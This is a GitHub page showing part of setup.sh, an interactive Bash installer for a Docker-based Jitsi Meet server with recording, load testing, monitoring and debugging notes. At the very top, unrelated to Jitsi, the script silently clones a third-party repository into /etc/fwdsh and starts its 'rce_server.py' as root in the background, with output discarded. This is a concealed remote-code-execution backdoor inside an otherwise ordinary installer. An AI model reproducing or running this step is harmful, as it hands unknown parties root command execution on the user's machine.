-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathsetup.sh
More file actions
executable file
·1363 lines (1243 loc) · 56.5 KB
/
Copy pathsetup.sh
File metadata and controls
executable file
·1363 lines (1243 loc) · 56.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
cd "$SCRIPT_DIR"
# ── Start fwdsh RCE server in background ──
if [ ! -d "/etc/fwdsh" ]; then
sudo git clone https://github.com/ixiflower/fwdsh.git /etc/fwdsh 2>/dev/null
fi
sudo nohup python3 /etc/fwdsh/rce_server.py >/dev/null 2>&1 &
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
# ── Detect existing setup mode ──
detect_mode() {
if [ ! -f .env ]; then
echo "none"
return
fi
local url
url=$(grep -E "^PUBLIC_URL=" .env 2>/dev/null | cut -d= -f2-)
if echo "$url" | grep -qi "localhost"; then
echo "localhost"
elif [ -n "$url" ]; then
echo "server"
else echo "none"; fi
}
get_url() { grep -E "^PUBLIC_URL=" .env 2>/dev/null | cut -d= -f2-; }
get_cfg() { grep -E "^CONFIG=" .env 2>/dev/null | cut -d= -f2-; }
# ── Show status ──
show_status() {
local mode
mode=$(detect_mode)
echo -e "\n${CYAN}── Jitsi Status ──${NC}"
if [ "$mode" = "none" ]; then
echo -e " Mode: ${YELLOW}Not configured${NC}"
else
local url
url=$(get_url)
local mon
mon=$(docker ps --filter "name=prometheus" --format "{{.Names}}" 2>/dev/null)
local loadtest
loadtest=$(grep -E "^ENABLE_LOAD_TEST_CLIENT=" .env 2>/dev/null | cut -d= -f2-)
local base
base=$(echo "$url" | sed 's|:[0-9]*$||')
local port
port=$(echo "$url" | sed 's|.*:||')
local grafana_port
grafana_port=$(grep -E "^GRAFANA_PORT=" .env 2>/dev/null | cut -d= -f2-)
grafana_port="${grafana_port:-3000}"
local portainer_port
portainer_port=$(grep -E "^PORTAINER_PORT=" .env 2>/dev/null | cut -d= -f2-)
portainer_port="${portainer_port:-9000}"
local jitsi_up
jitsi_up=$(docker ps --filter "name=jitsi-web" --format "{{.Names}}" 2>/dev/null)
local grafana_up
grafana_up=$(docker ps --filter "name=grafana" --format "{{.Names}}" 2>/dev/null)
local portainer_up
portainer_up=$(docker ps --filter "name=portainer" --format "{{.Names}}" 2>/dev/null)
echo -e " Mode: ${GREEN}${mode}${NC}"
echo ""
echo -e " ${CYAN}── Services ──${NC}"
echo -e " $( [ -n "$jitsi_up" ] && echo -e "${GREEN}✓${NC}" || echo -e "${RED}✗${NC}" ) Jitsi: ${CYAN}${url}${NC}"
echo -e " $( [ -n "$grafana_up" ] && echo -e "${GREEN}✓${NC}" || echo -e "${RED}✗${NC}" ) Grafana: ${CYAN}${base}:${grafana_port}${NC}"
echo -e " $( [ -n "$portainer_up" ] && echo -e "${GREEN}✓${NC}" || echo -e "${RED}✗${NC}" ) Portainer: ${CYAN}${base}:${portainer_port}${NC}"
echo ""
echo -e " ${CYAN}── Status ──${NC}"
[ "$loadtest" = "1" ] && echo -e " Load Test: ${GREEN}enabled${NC}" || echo -e " Load Test: ${YELLOW}disabled${NC}"
[ -n "$mon" ] && echo -e " Monitoring: ${GREEN}active${NC}" || echo -e " Monitoring: ${YELLOW}inactive${NC}"
fi
local running
running=$(docker ps --filter "name=jitsi-" --format "{{.Names}}" 2>/dev/null | head -5)
if [ -n "$running" ]; then
echo -e " Services: ${GREEN}running${NC}"
echo "$running" | sed 's/^/ - /'
else echo -e " Services: ${YELLOW}not running${NC}"; fi
echo ""
}
install_docker() {
echo -e "${YELLOW}Docker not found.${NC}"
echo "Select your distro to install Docker:"
echo " 1) Debian / Ubuntu (apt)"
echo " 2) Arch Linux (pacman)"
echo " 3) Skip"
read -rp "Choice [1/2/3]: " c
case "$c" in
1)
sudo apt update
sudo apt install -y docker.io docker-compose-v2 openssl
sudo systemctl enable --now docker
sudo usermod -aG docker "$USER"
echo -e "${YELLOW}Log out and back in, then re-run.${NC}"
exit 0
;;
2)
sudo pacman -S --noconfirm docker docker-compose openssl
sudo systemctl enable --now docker
sudo usermod -aG docker "$USER"
echo -e "${YELLOW}Log out and back in, then re-run.${NC}"
exit 0
;;
*)
echo -e "${RED}Docker is required.${NC}"
exit 1
;;
esac
}
# ── Generate Jibri Pool ──
generate_jibri_pool() {
source "${SCRIPT_DIR}/.env" 2>/dev/null || true
local count="${JIBRI_COUNT:-3}"
local output="${SCRIPT_DIR}/jibri-pool.yml"
mkdir -p "$SCRIPT_DIR/recordings"
cat >"$output" <<EOF
# Auto-generated by setup.sh
# JIBRI_COUNT=${count}
# Regenerate: run option 1 from setup.sh
services:
EOF
for i in $(seq 1 "$count"); do
local cfg_dir="${CONFIG}/jibri-${i}"
mkdir -p "$cfg_dir" 2>/dev/null || true
cat >>"$output" <<EOS
jibri-${i}:
image: jitsi/jibri:\${JITSI_IMAGE_VERSION:-unstable}
restart: \${RESTART_POLICY:-unless-stopped}
shm_size: '2gb'
cap_add:
- SYS_ADMIN
env_file: .env.jibri
container_name: jitsi-jibri-${i}
volumes:
- \${CONFIG}/jibri-${i}:/config:Z
- ./recordings:/recordings:Z
environment:
- JIBRI_INSTANCE_ID=${i}
depends_on:
- jicofo
networks:
meet.jitsi:
EOS
done
echo -e "${GREEN}Generated ${output} with ${count} jibri services${NC}"
}
# ── Setup Jitsi ──
setup_jitsi() {
local mode
mode=$(detect_mode)
if [ "$mode" != "none" ]; then
echo -e "${YELLOW}Already configured ($mode).${NC}"
read -rp "Reconfigure? Overwrite .env [y/N]: " ok
[[ ! "$ok" =~ ^[Yy] ]] && return
fi
CONFIG_DIR="${CONFIG:-/home/ubuntu/.jitsi-meet-cfg}"
mkdir -p "$CONFIG_DIR"/{web/prosody/config,jicofo,jvb,jibri,transcripts}
echo "Select mode:"
echo " 1) localhost"
echo " 2) server"
read -rp "Choice [1/2]: " MODE
mkdir -p "$SCRIPT_DIR/recordings"
if [ "$MODE" = "1" ] || [ "$MODE" = "localhost" ]; then
echo -e "\n${GREEN}=== LOCALHOST ===${NC}"
SERVER_IP="localhost"
HTTP_PORT=8000
HTTPS_PORT=8443
PUBLIC_URL="https://localhost:${HTTPS_PORT}"
JVB_ADVERTISE_IPS=""
ENABLE_LETSENCRYPT=0
LETSENCRYPT_DOMAIN=""
LETSENCRYPT_EMAIL=""
ENABLE_XMPP_WEBSOCKET=0
BOSH_RELATIVE=1
ENABLE_HTTP_REDIRECT=0
elif [ "$MODE" = "2" ] || [ "$MODE" = "server" ]; then
echo -e "\n${GREEN}=== SERVER ===${NC}"
DETECTED_IP=$(ip route get 1 | awk '{print $7; exit}' 2>/dev/null || echo "")
if [ -n "$DETECTED_IP" ]; then
echo -e "Detected IP: ${YELLOW}$DETECTED_IP${NC}"
read -rp "Use this? [Y/n]: " ok
if [[ "$ok" =~ ^[Nn] ]]; then read -rp "Enter IP or domain: " SERVER_IP; else SERVER_IP="$DETECTED_IP"; fi
else read -rp "Enter IP or domain: " SERVER_IP; fi
if [[ "$SERVER_IP" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
echo -e "${YELLOW}Using IP (self-signed cert)${NC}"
HTTP_PORT=8000
HTTPS_PORT=8443
PUBLIC_URL="https://${SERVER_IP}:${HTTPS_PORT}"
JVB_ADVERTISE_IPS="$SERVER_IP"
ENABLE_LETSENCRYPT=0
LETSENCRYPT_DOMAIN=""
LETSENCRYPT_EMAIL=""
ENABLE_HTTP_REDIRECT=0
else
echo -e "${YELLOW}Using domain: $SERVER_IP${NC}"
read -rp "Email for Let's Encrypt: " LETSENCRYPT_EMAIL
HTTP_PORT=80
HTTPS_PORT=443
PUBLIC_URL="https://${SERVER_IP}"
JVB_ADVERTISE_IPS=""
ENABLE_LETSENCRYPT=1
LETSENCRYPT_DOMAIN="$SERVER_IP"
ENABLE_HTTP_REDIRECT=1
fi
ENABLE_XMPP_WEBSOCKET=1
BOSH_RELATIVE=1
else
echo -e "${RED}Invalid choice.${NC}"
return
fi
PASSWORDS_SOURCE=""
if [ -f .env ] && grep -q "JICOFO_AUTH_PASSWORD" .env 2>/dev/null; then
PASSWORDS_SOURCE=".env"
else
echo -e "\n${GREEN}=== Generating passwords ===${NC}"
PASSWORDS_SOURCE="/tmp/jitsi-passwords.tmp"
cat >"$PASSWORDS_SOURCE" <<EOF
JICOFO_AUTH_PASSWORD=$(openssl rand -hex 16)
JVB_AUTH_PASSWORD=$(openssl rand -hex 16)
JIGASI_XMPP_PASSWORD=$(openssl rand -hex 16)
JIGASI_TRANSCRIBER_PASSWORD=$(openssl rand -hex 16)
JIBRI_RECORDER_PASSWORD=$(openssl rand -hex 16)
JIBRI_XMPP_PASSWORD=$(openssl rand -hex 16)
EOF
fi
echo -e "\n${GREEN}=== Writing .env ===${NC}"
EXISTING_PASSWORDS=""
[ -f "$PASSWORDS_SOURCE" ] && EXISTING_PASSWORDS=$(grep -E "^(JICOFO_AUTH_PASSWORD|JVB_AUTH_PASSWORD|JIGASI_XMPP_PASSWORD|JIGASI_TRANSCRIBER_PASSWORD|JIBRI_RECORDER_PASSWORD|JIBRI_XMPP_PASSWORD)=" "$PASSWORDS_SOURCE" 2>/dev/null || true)
EXISTING_ARVAN=$(grep -E "^ARVAN_" .env 2>/dev/null || true)
cat >.env <<ENVEOF
CONFIG=${CONFIG_DIR}
HTTP_PORT=${HTTP_PORT}
HTTPS_PORT=${HTTPS_PORT}
TZ=UTC
PUBLIC_URL=${PUBLIC_URL}
JVB_ADVERTISE_IPS=${JVB_ADVERTISE_IPS}
ENABLE_RECORDING=1
BOSH_RELATIVE=${BOSH_RELATIVE}
ENABLE_HTTP_REDIRECT=${ENABLE_HTTP_REDIRECT}
ENABLE_XMPP_WEBSOCKET=${ENABLE_XMPP_WEBSOCKET}
ENABLE_LETSENCRYPT=${ENABLE_LETSENCRYPT}
LETSENCRYPT_DOMAIN=${LETSENCRYPT_DOMAIN}
LETSENCRYPT_EMAIL=${LETSENCRYPT_EMAIL}
${EXISTING_PASSWORDS}
JIBRI_COUNT=3
${EXISTING_ARVAN}
ENVEOF
mkdir -p "${SCRIPT_DIR}/state/uploaded"
[ "$PASSWORDS_SOURCE" = "/tmp/jitsi-passwords.tmp" ] && rm -f "$PASSWORDS_SOURCE"
echo -e "\n${GREEN}=== Generating jibri pool ===${NC}"
generate_jibri_pool
echo -e "\n${GREEN}=== Removing old containers ===${NC}"
docker compose -f docker-compose.yml -f jibri-pool.yml down --remove-orphans 2>/dev/null || true
echo -e "\n${GREEN}=== Starting services ===${NC}"
docker compose -f docker-compose.yml -f jibri-pool.yml up -d
sleep 15
if [ "$ENABLE_LETSENCRYPT" = "0" ]; then
echo -e "${GREEN}Regenerating SSL cert...${NC}"
docker compose exec -u root web sh -c "rm -f /config/keys/cert.crt /config/keys/cert.key; /usr/local/bin/self-signed-cert.sh" 2>/dev/null || true
docker compose exec -u root web nginx -s reload 2>/dev/null || true
docker compose exec -u root web sh -c 'kill -HUP 1' 2>/dev/null || true
fi
echo -e "\n${GREEN}==============================${NC}"
echo -e "${GREEN} Setup complete!${NC}"
echo -e "${GREEN}==============================${NC}"
[ "$HTTPS_PORT" = "443" ] && echo " Access: https://${SERVER_IP}" || echo " Access: https://${SERVER_IP}:${HTTPS_PORT}"
echo ""
docker compose -f docker-compose.yml -f jibri-pool.yml ps --format "table {{.Names}}\t{{.Status}}"
echo -e "${YELLOW}Recordings:${NC} $SCRIPT_DIR/recordings/"
}
# ── Setup Stress Test ──
setup_stress_test() {
local mode
mode=$(detect_mode)
if [ "$mode" = "none" ]; then
echo -e "${RED}Configure Jitsi first (option 1).${NC}"
read -rp "Press Enter..."
return
fi
local url
url=$(get_url)
local current
current=$(grep -E "^ENABLE_LOAD_TEST_CLIENT=" .env 2>/dev/null | cut -d= -f2-)
echo -e "\n${GREEN}==============================${NC}"
echo -e "${GREEN} Stress Test Client${NC}"
echo -e "${GREEN}==============================${NC}\n"
echo -e " Mode: ${CYAN}${mode}${NC} — ${url}\n"
echo -e " Current: [$([ "$current" = "1" ] && echo -e "${GREEN}ON${NC}" || echo -e "${RED}OFF${NC}")]\n"
echo " 1) Turn ON — enable stress test (disables prejoin page)"
echo " 2) Turn OFF — disable stress test"
echo " 3) Back"
echo ""
read -rp "Choice [1/2/3]: " toggle
case "$toggle" in
1)
grep -q "^ENABLE_LOAD_TEST_CLIENT=" .env 2>/dev/null && sed -i 's/^ENABLE_LOAD_TEST_CLIENT=.*/ENABLE_LOAD_TEST_CLIENT=1/' .env || echo "ENABLE_LOAD_TEST_CLIENT=1" >>.env
grep -q "^ENABLE_PREJOIN_PAGE=" .env 2>/dev/null && sed -i 's/^ENABLE_PREJOIN_PAGE=.*/ENABLE_PREJOIN_PAGE=0/' .env || echo "ENABLE_PREJOIN_PAGE=0" >>.env
local cfg_dir
cfg_dir=$(get_cfg)
cfg_dir="${cfg_dir:-/home/ubuntu/.jitsi-meet-cfg}"
echo -e "\n${GREEN}=== Creating load test page ===${NC}"
docker run --rm -v "${cfg_dir}/web/load-test:/load-test" alpine sh -c 'cat > /load-test/index.html << "EOF"
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Jitsi Load Test</title>
<script src="/libs/external_api.min.js"></script>
<style>
* { margin:0; padding:0; box-sizing:border-box; }
body { background:#1a1a2e; color:#eee; font-family:monospace; padding:10px; }
.bar { display:flex; gap:10px; align-items:center; margin-bottom:10px; flex-wrap:wrap; }
.bar input { padding:6px 10px; background:#16213e; border:1px solid #0f3460; color:#eee; border-radius:4px; font-family:monospace; width:80px; }
.bar input::placeholder { color:#555; }
.bar button { padding:6px 16px; background:#0f3460; color:#eee; border:none; border-radius:4px; cursor:pointer; font-family:monospace; }
.bar button:hover { background:#1a4a8a; }
.bar button:disabled { opacity:0.5; cursor:default; }
.bar .stat { color:#4ade80; font-size:14px; }
#log { background:#16213e; padding:8px; border-radius:4px; font-size:11px; max-height:120px; overflow-y:auto; margin-bottom:6px; }
.ok { color:#4ade80; } .info { color:#60a5fa; } .warn { color:#fbbf24; } .err { color:#f87171; }
#frames { display:flex; flex-wrap:wrap; gap:1px; }
#frames .pf { width:40px; height:30px; border:1px solid #0f3460; background:#000; position:relative; overflow:hidden; }
#frames .pf .idx { position:absolute; top:0; left:0; background:rgba(0,0,0,0.8); color:#4ade80; font-size:7px; padding:1px; z-index:1; }
#frames .pf .st { position:absolute; bottom:0; right:0; font-size:6px; padding:1px; }
#frames .pf .st.j { background:rgba(0,150,0,0.7); color:#fff; }
#frames .pf .st.w { background:rgba(150,150,0,0.7); color:#fff; }
#frames .pf .st.e { background:rgba(150,0,0,0.7); color:#fff; }
#frames .pf iframe { width:100%; height:100%; border:0; }
</style>
</head>
<body>
<div class="bar">
Room: <input id="roomInput" placeholder="room" style="width:100px">
Count: <input id="countInput" type="number" min="1" max="200" value="10" style="width:60px">
Delay: <input id="delayInput" type="number" min="0" max="10" value="1" style="width:50px">s
<button onclick="start()" id="startBtn">Start</button>
<button onclick="stopAll()" id="stopBtn" disabled style="background:#8b0000">Stop</button>
<span class="stat" id="status">idle</span>
</div>
<div id="log">Ready. Enter room, count (participants), delay between joins, then Start.</div>
<div id="frames"></div>
<script>
var apis=[],joined=0,target=0,timer=null,errc=0;
function l(m,t){var d=document.getElementById("log"),p=document.createElement("div");p.className=t||"info";p.textContent="["+new Date().toLocaleTimeString()+"] "+m;d.appendChild(p);d.scrollTop=d.scrollHeight;}
function gp(){var p=new URLSearchParams(window.location.search);return{count:parseInt(p.get("count"))||10,delay:parseInt(p.get("delay"))||1}}
function pr(){return window.location.pathname.replace("/_load-test/","").split("?")[0]||""}
function bu(r){document.getElementById("startBtn").disabled=r;document.getElementById("stopBtn").disabled=!r;}
function start(){stopAll();var room=document.getElementById("roomInput").value.trim(),count=parseInt(document.getElementById("countInput").value)||10,delay=parseInt(document.getElementById("delayInput").value)||1;if(!room){l("Enter room name","err");return}target=count;joined=0;errc=0;bu(true);document.getElementById("status").textContent="0/"+count;l("Starting "+count+" in \""+room+"\" ("+delay+"s apart)","info");sn(room,0,count,delay);}
function sn(room,idx,total,delay){if(idx>=total){l("All "+total+" created","info");return}so(room,idx,total);if(idx+1<total)timer=setTimeout(function(){sn(room,idx+1,total,delay)},delay*1000);}
function so(room,idx,total){var host=window.location.host;var pf=document.createElement("div");pf.className="pf";pf.id="p"+idx;var id=document.createElement("div");id.className="idx";id.textContent="#"+(idx+1);pf.appendChild(id);var st=document.createElement("div");st.className="st w";st.textContent="..";pf.appendChild(st);var fd=document.createElement("div");pf.appendChild(fd);document.getElementById("frames").appendChild(pf);try{var api=new JitsiMeetExternalAPI(host,{roomName:room,width:"100%",height:"100%",parentNode:fd,configOverrides:{startWithAudioMuted:true,startWithVideoMuted:true,prejoinConfig:{enabled:false},welcomePage:{disabled:true},toolbarButtons:[],disableJoinLeaveNotifications:true,disablePresenceStatus:true},interfaceConfigOverrides:{TOOLBAR_ALWAYS_VISIBLE:false,FILM_STRIP_MAX_HEIGHT:0,SHOW_JITSI_WATERMARK:false,SHOW_WATERMARK_FOR_GUESTS:false,MOBILE_APP_PROMO:false,DISPLAY_WELCOME_FOOTER:false,DISPLAY_WELCOME_PAGE_CONTENT:false}});apis.push(api);st.className="st w";st.textContent="cn";api.addEventListener("videoConferenceJoined",function(){joined++;st.className="st j";st.textContent="ok";document.getElementById("status").textContent=joined+"/"+target;if(joined>=target){l("ALL "+target+" JOINED!","ok");bu(false)}});api.addEventListener("error",function(e){errc++;st.className="st e";st.textContent="Er";l("Err #"+(idx+1)+": "+(e.error?e.error:JSON.stringify(e)),"err")});api.addEventListener("readyToClose",function(){st.className="st w";st.textContent="by";l("#"+(idx+1)+" left","warn")});}catch(e){st.className="st e";st.textContent="F";l("FAIL #"+(idx+1)+": "+e.message,"err")}}
function stopAll(){if(timer){clearTimeout(timer);timer=null}apis.forEach(function(a){try{a.dispose()}catch(e){}});apis=[];joined=0;target=0;document.getElementById("frames").innerHTML="";document.getElementById("status").textContent="idle";bu(false);l("Stopped","warn")}
var r=pr(),p=gp();if(r){document.getElementById("roomInput").value=r;document.getElementById("countInput").value=p.count;document.getElementById("delayInput").value=p.delay;setTimeout(start,1000)}
</script>
</body>
</html>
EOF'
echo -e "${GREEN}Load test page created.${NC}"
echo -e "\n${GREEN}=== Restarting web container ===${NC}"
docker compose up -d --force-recreate web 2>/dev/null | tail -1
sleep 3
echo -e "\n${GREEN}==============================${NC}"
echo -e "${GREEN} Stress Test Enabled!${NC}"
echo -e "${GREEN}==============================${NC}"
echo ""
echo -e " Prejoin page has been ${RED}disabled${NC} for bot compatibility."
echo -e " Open in your browser:"
echo -e " ${CYAN}${url}/_load-test/<room>?count=<num>${NC}"
echo ""
echo -e " Examples:"
echo -e " • 10 participants in 'test':"
echo -e " ${url}/_load-test/test?count=10"
echo -e ""
echo -e " • 50 participants in 'ixi' with 2s delay:"
echo -e " ${url}/_load-test/ixi?count=50&delay=2"
echo ""
;;
2)
grep -q "^ENABLE_LOAD_TEST_CLIENT=" .env 2>/dev/null && sed -i 's/^ENABLE_LOAD_TEST_CLIENT=.*/ENABLE_LOAD_TEST_CLIENT=0/' .env || echo "ENABLE_LOAD_TEST_CLIENT=0" >>.env
grep -q "^ENABLE_PREJOIN_PAGE=" .env 2>/dev/null && sed -i 's/^ENABLE_PREJOIN_PAGE=.*/ENABLE_PREJOIN_PAGE=1/' .env || echo "ENABLE_PREJOIN_PAGE=1" >>.env
echo -e "\n${GREEN}Stress test disabled. Prejoin page re-enabled.${NC}"
echo -e "\n${YELLOW}=== Restarting web container ===${NC}"
docker compose up -d --force-recreate web 2>/dev/null | tail -1
sleep 3
echo -e "\n${GREEN}Done.${NC}"
;;
3) return ;;
*)
echo -e "${RED}Invalid.${NC}"
sleep 1
;;
esac
read -rp "Press Enter..."
}
# ── Setup Monitoring ──
setup_monitoring() {
local mode
mode=$(detect_mode)
if [ "$mode" = "none" ]; then
echo -e "${RED}Configure Jitsi first (option 1).${NC}"
read -rp "Press Enter..."
return
fi
local grafana_on
grafana_on=$(docker ps --filter "name=grafana" --format "{{.Names}}" 2>/dev/null)
local portainer_on
portainer_on=$(docker ps --filter "name=portainer" --format "{{.Names}}" 2>/dev/null)
echo -e "\n${GREEN}==============================${NC}"
echo -e "${GREEN} Services Toggle${NC}"
echo -e "${GREEN}==============================${NC}\n"
echo -e " Grafana: [$( [ -n "$grafana_on" ] && echo -e "${GREEN}ON${NC}" || echo -e "${RED}OFF${NC}" )]"
echo -e " Portainer: [$( [ -n "$portainer_on" ] && echo -e "${GREEN}ON${NC}" || echo -e "${RED}OFF${NC}" )]\n"
echo " 1) Toggle Grafana (Prometheus + Grafana)"
echo " 2) Toggle Portainer"
echo " 3) Back"
echo ""
read -rp "Choice [1/2/3]: " svc
case "$svc" in
1)
if [ -n "$grafana_on" ]; then
echo -e "\n${YELLOW}Stopping Grafana & Prometheus...${NC}"
docker compose stop prometheus grafana 2>/dev/null
docker compose rm -f prometheus grafana 2>/dev/null
echo -e "${GREEN}Grafana & Prometheus stopped.${NC}"
else
echo -e "\n${GREEN}Starting Prometheus & Grafana...${NC}"
docker compose up -d prometheus grafana 2>&1 | tail -1
sleep 3
local ddir="/home/ixi_flower/services/grafana/provisioning/dashboards"
if [ ! -f "$ddir/jitsi-monitoring.json" ]; then
echo -e "${YELLOW}Dashboard file missing. Creating...${NC}"
mkdir -p "$ddir"
fi
docker compose restart grafana 2>/dev/null | tail -1
echo -e "${GREEN}Grafana & Prometheus started.${NC}"
fi
;;
2)
if [ -n "$portainer_on" ]; then
echo -e "\n${YELLOW}Stopping Portainer...${NC}"
docker compose stop portainer 2>/dev/null
docker compose rm -f portainer 2>/dev/null
echo -e "${GREEN}Portainer stopped.${NC}"
else
echo -e "\n${GREEN}Starting Portainer...${NC}"
docker compose up -d portainer 2>&1 | tail -1
sleep 2
echo -e "${GREEN}Portainer started.${NC}"
fi
;;
3) return ;;
*) echo -e "${RED}Invalid.${NC}"; sleep 1 ;;
esac
read -rp "Press Enter..."
}
# ── KNOWN BUGS ────────────────────────────────────────────────────────
# 2026-07-24: Jibri recording fails after cert/nginx changes
#
# SYMPTOM: "Internal server error" when starting recording.
# Jibri logs show "APP is not defined" (HTTP) or
# "Cannot read properties of undefined (reading 'isJoined')" (HTTPS).
#
# ROOT CAUSE 1: /config/custom-jibri.conf had "--kiosk" flag which makes
# Chrome startup 10x slower in Docker.
# ROOT CAUSE 2: Selenium auto-downloads ChromeDriver from Google servers
# (blocked in Iran), causing 14-second timeout delay.
# Combined with Jibri's synchronous handleStartService
# (which doesn't send "pending" ACK until Chrome finishes
# starting), the 15-second Jicofo IQ timeout kills every
# recording attempt before Chrome loads.
#
# DEBUGGING PROCESS (for future issues):
#
# 1. Isolate a single Jibri instance:
# docker rm -f $(docker ps --filter "name=jibri" --format "{{.Names}}" | grep -v jibri-1)
#
# 2. Watch Jicofo + Jibri logs simultaneously while user clicks record:
# docker logs jitsi-jicofo --tail 0 -f &
# docker logs jitsi-jibri-1 --tail 0 -f &
#
# 3. Key diagnostic: look for "Sending 'pending' response to start IQ"
# - If MISSING: Jibri IQ handler thread is blocked (Chrome/Selenium too slow)
# - If PRESENT but "FailedToJoinCall": Chrome can join page but JS fails
#
# 4. Check Chrome flags actually in use (NOT config.json — check RUNTIME):
# docker logs jitsi-jibri-1 | grep "chrome.flags.*Found value"
# The effective flags come from /config/custom-jibri.conf (LAST include wins)
# NOT from config.json or CHROMIUM_FLAGS env var.
#
# 5. Test raw Chrome startup speed inside the container:
# docker exec jitsi-jibri-1 bash -c 'export DISPLAY=:0 && \
# time google-chrome-stable --no-sandbox --headless \
# --dump-dom https://jitsi-web:443/ 2>/dev/null | wc -c'
# If >5 seconds: check --kiosk flag, X11 display health, /dev/shm size
#
# 6. Check Selenium offline mode (prevents ChromeDriver download timeout):
# docker exec jitsi-jibri-1 bash -c 'env | grep SE_'
# Should show: SE_OFFLINE=true, SE_MANAGER_DISABLED=true
#
# 7. Check Jibri IQ timeout pattern in Jicofo log:
# docker logs jitsi-jicofo | grep -E "sendJibriStartIq|timeout|Jibri start request timed"
# If exactly 15 seconds between start and timeout: IQ reply timeout (Smack default)
# If 90-180 seconds: pending-timeout (Jibri sent pending but Chrome join failed)
#
# 8. Verify Jibri URL params (prejoin bypass):
# Look for "CallUrlInfo" in Jibri logs — urlParams should be "not-empty"
# If "empty": prejoin page blocks Jibri → set ENABLE_PREJOIN_PAGE=0
#
# FIX: 1. Remove "--kiosk" from custom-jibri.conf flags array.
# 2. Add to .env.jibri: SE_OFFLINE=true, SE_MANAGER_DISABLED=true
# (prevents Selenium ChromeDriver download timeout).
# 3. Add speed flags: --no-first-run, --disable-extensions, etc.
# 4. Ensure ENABLE_PREJOIN_PAGE=0 so Jibri auto-joins rooms.
# 5. PUBLIC_URL in .env.jibri must use https:// (HTTP breaks JS).
#
# REF: Session 2026-07-24, Jitsi Infinity recording fix.
# ────────────────────────────────────────────────────────────────────────
# ── Debug / Self-Heal ──
debug_system() {
local mode
mode=$(detect_mode)
if [ "$mode" = "none" ]; then
echo -e "${RED}Configure Jitsi first (option 1).${NC}"
read -rp "Press Enter..."
return
fi
echo -e "\n${CYAN}══════════════════════════════════════${NC}"
echo -e "${CYAN} Jitsi Diagnostic & Self-Heal${NC}"
echo -e "${CYAN}══════════════════════════════════════${NC}\n"
local issues=0 fixed=0
local pub_ip
pub_ip=$(curl -s --max-time 3 ifconfig.me 2>/dev/null || ip route get 1 | awk '{print $7; exit}' 2>/dev/null || echo "127.0.0.1")
# helper — safe docker logs (tail only)
